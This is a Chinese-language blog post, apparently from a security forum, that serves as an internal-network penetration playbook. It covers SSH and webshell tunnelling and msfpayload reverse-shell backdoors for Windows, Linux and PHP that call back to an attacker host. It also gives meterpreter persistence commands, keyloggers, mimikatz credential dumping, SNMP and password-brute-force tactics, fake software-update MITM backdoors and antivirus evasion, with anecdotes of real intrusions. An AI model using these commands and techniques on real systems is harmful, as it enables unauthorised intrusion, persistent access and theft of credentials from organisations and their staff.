之前看到微博有人私信我說內網滲透的技巧,zone也有很多小伙伴問了一些內網滲透的問題,所以我就斗膽寫了這篇文章,有不對的,還請各位斧正
整個內網滲透肯定不是一篇兩篇文章能夠講述清楚的,所以標題寫作隨想,想到哪兒寫哪兒
Lhost--》proxy--》Rhost
Lhost為了訪問到Rhost,向proxy發送了一個請求并且指定目標是Rhost,然后proxy向Rhost轉交請求并將獲得的內容返回給Lhost,簡單來說正向代理就是proxy代替了我們去訪問Rhost。
Lhost<--->proxy<--->firewall<--->Rhost
和正向代理相反(廢話),Lhost只向proxy發送普通的請求,具體讓他轉到哪里,proxy自己判斷,然后將返回的數據遞交回來,這樣的好處就是在某些防火墻只允許proxy數據進出的時候可以有效的進行穿透
正向代理是我們自己(Lhost)戴套(proxy)插進去,反向代理是她(Rhost)主動通過上位(proxy)坐上來(Lhost)
zone里內網滲透代理問題有人問了如何代理進行內網滲透的問題
誠然,要進行內網滲透,代理是我們最先需要解決的問題,常見的代理方式大概可以分為這么幾種:
這種代理方式需要比較高的權限(system/root)直接使用系統功能來開啟內網代理的隧道,配置VPN都比較簡單,這里不做贅述,我們看一看通過SSH隧道進行代理
#!bash
ssh -qTfnN -L port:host:hostport -l user remote_ip #正向隧道,監聽本地port
ssh -qTfnN -R port:host:hostport -l user remote_ip #反向隧道,用于內網穿透防火墻限制之類
SSH -qTfnN -D port remotehost #直接進行socks代理
參數詳解:
-q Quiet mode. 安靜模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后臺運行,并推薦加上 -n 參數
-N Do not execute a remote command. 不執行遠程命令,端口轉發就用它了~
有時候,我們手邊沒有端口轉發的工具,也可以通過ssh來做端口轉發
#!bash
ssh -CfNg -L port1:127.0.0.1:port2 [email protected] #本地轉發
ssh -CfNg -R port2:127.0.0.1:port1 [email protected] #遠程轉發
大家可以參考這篇paper,非常棒SSH Port Forwarding
簡單來說就是在目標服務器上傳一個webshell,通過shell來做所有的流量轉發到內網,常見的幾個工具有reGeorg,meterpreter,tunna等等,甚至直接寫一個簡單的代理腳本,在自己機器上配置一下nginx直接進行反向代理
reGeorg自帶的說明已經很清楚了
Step 1. Upload tunnel.(aspx|ashx|jsp|php) to a webserver (How you do that is up to you)
Step 2. Configure you tools to use a socks proxy, use the ip address and port you specified when you started the reGeorgSocksProxy.py
** Note, if you tools, such as NMap doesn't support socks proxies, use [proxychains] (see wiki)
注意安裝urllib3即可(regeorg很方便,我基本都用這個)
msf非常強大,在進行內網滲透的時候不失為一個好的選擇,要用它進行代理,可以直接生成一個可執行文件后門,然后返回meterpreter,也可以生成一個webshell來返回meterpreter,關于meterpreter,Dm老師已經說的非常清楚了metasploit 滲透測試筆記(meterpreter篇)
#!bash
msfpayload windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe
#!bash
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -t elf -o shell
#!bash
msfpayload php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -e php/base64(可簡單編碼) -t raw -o base64php.php
獲得meterpreter會話后,就是msf盡情施展的時候了,最常用的辦法,添加路由表后,直接在會話中用msf的各種攻擊模塊進行掃描(注意,這里是可以進行跨網段掃描的)
如果單純只是想要進行簡單的代理工作,auxiliary/server/socks4a模塊即可
這里講到meterpreter所以多說一句,之前說的ssh隧道,如果嫌命令難得記,也可以簡單的通過msf來建立tunnel
#!bash
load meta_ssh
use multi/ssh/login_password
設置好參數后exploit即可獲取會話進行代理操作
http://zone.wooyun.org/content/11096
python,ruby,perl等直接建立socks連接
lcx,tunna,htran等等進行端口流量轉發
shadowsocks,tor,goagent等等
直接現成的小東西:ssocks(一次比賽的時候死貓跟我推薦的)正向代理,反彈socks5均可
因為一個完整的滲透很難涵蓋各種情況,所以這里講的可能比較散,基本都是一些小技巧和思路
Nmap代理掃描進行主機發現
proxychains nmap ***
如果是meterpreter會話進行的代理,可直接通過/usr/share/metasploit-framework/modules/auxiliary/scanner
腳本來掃描即可
查看hosts獲取內網主機信息
直接攻擊網段路由或交換機,簡單繪制內網的結構(我在從TCL某漏洞看內網滲透教學分享之內網信息探測和后滲透準備中就是獲取了cisco路由的privilege15權限,得到了內網結構,進一步進行跨vlan攻擊)
多嘗試交換機snmp弱口令,一旦成功,內網結構清晰
關于snmp滲透
使用了snmp管理的設備,只需要community string即可,所以針對這個string爆破或者社工都是可行的,默認public/private
首先進行161端口掃描,發現snmp開放情況,通過弱口令查看設備信息,在oid中讀取設備密碼
例子:中國移動集團華為三層交換SNMP漏洞,可獲取管理帳號密碼,已成功登錄
可以通過這個nmap和msf腳本進行自動攻擊h3c-pt-tools
嘗試從主機的用戶目錄或者管理運維郵箱尋找敏感信息(某次滲透即是keylogger運維后在測試機桌面獲取到拓撲和網段)
通過resolv.conf找到內網dns服務器,或者字典窮舉dns
注意分析用戶的.bash_history,一般可以分析出用戶的使用習慣,紀錄等,獲取~/.shh/,嘗試配合history的連接紀錄直接通過密鑰登陸其他機器
通過之前的信息收集和探測,判斷出主要的業務機器,如OA,dbserver,利用ssh信任,連入機器后導出員工的userlist,做成針對性的字典,大部分內網的安全性都是脆弱的,且最容易出問題的就是口令安全(大公司也不例外)
%username%1
%username%12
%username%123
%username%1234
%username%12345
%username%123456
主要對ssh,dbserver,vnc,ftp進行爆破
對開了web service的server進行常規滲透,有可以減少工作量的辦法就是先對機器批量識別banner,通過banner判斷出cms或中間件,直接利用exp
中間人攻擊
常用ettercap,不建議做arp的mitm,可以嘗試dhcp mitm或者icmp mitm
也可以猥瑣一點,劫持插件,攻擊網關,或者利用evilgrade去偽造軟件更新(如notepad++),然后捆綁上后門,直接打下工作機器,進入辦公網
簡單配置后用msf生成后門,start即可配合ettercap使用偽造軟件更新了
常見服務漏洞攻擊
smb/ms08067/ipc$/NetBIOS…………
但是在針對這些比較古老的漏洞攻擊時,很可能有AV攔截,所以在不同場景遇到的坑都不一樣
比如之前在西電DM牛告訴我,有AV,如果直接利用psexec返回會話,即會攔截,這時就可以利用powershell來bypass AVPowershell tricks::Bypass AV
一次完美的內網滲透肯定不是能夠一次性完成的,因為整個過程需要管理員的"配合"(口胡。。。)所以后滲透準備時很有必要的
msf的后門已經不錯,只需要稍加改造就能很好滿足我們的需求
普通msfpayload生成的后門不是持續性的,不利于我們下次繼續工作,所以需要一個持續性后門
msf的持續性后門有兩種,通過服務啟動(metsvc)和通過啟動項啟動(persistence)
通過服務的后門有個弊端,服務名稱是meterpreter,利用方式是: 上傳后門,通過metsvc安裝服務
#!bash
meterpreter > run metsvc
...(設定端口,并且上傳后門文件)
use exploit/multi/handler
set PAYLOAD windows/metsvc_bind_tcp
exploit
通過啟動項的利用方式:
#!bash
meterpreter > run persistence -X -i 10 -p port -r hostip
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
當然,直接生成的后門有可能會被殺,所以這里我推薦一個很不錯的工具,veil,之前再一次小型apt中用這個生成了的后門直接bypass了360
linux下有兩個常用的后門
mafix rookit和Cymothoa,后者聽說可以克隆root用戶,不過大部分的backdoor基本都相當于一個加密nc,會新開端口,所以如果webshell存活,可以直接考慮用webshell維持權限
keylogger在內網滲透過程中(尤其是比較大的內網),起到很關鍵的作用,因為搞定一個密碼,有可能就搞定了一個網段
ixkeylog是我常用的一個,linux>=2.63均可使用
或者使用meterpreter會話的自帶鍵盤記錄功能
keyscan_start
keyscan_dump
用meterpreter有個好處,就是在win中可以做內存注入,不會創建進程
這里說一個小tips,如果覺得keylogger動作大,可以進系統后把一些你需要的管理工具,如navicat,putty,PLSQL,SecureCRT之類全部選成記住密碼
mimikatz,不用多說,利用meterpreter可以直接load模塊
Quarks PwDump
wce
內網滲透涉及的面很廣,本文主要說到的是一些很簡單的問題和常規的思路
尚未談到的 域滲透 打印機 辦公網嗅探 入侵日志清理等等
如果有機會,日后慢慢補全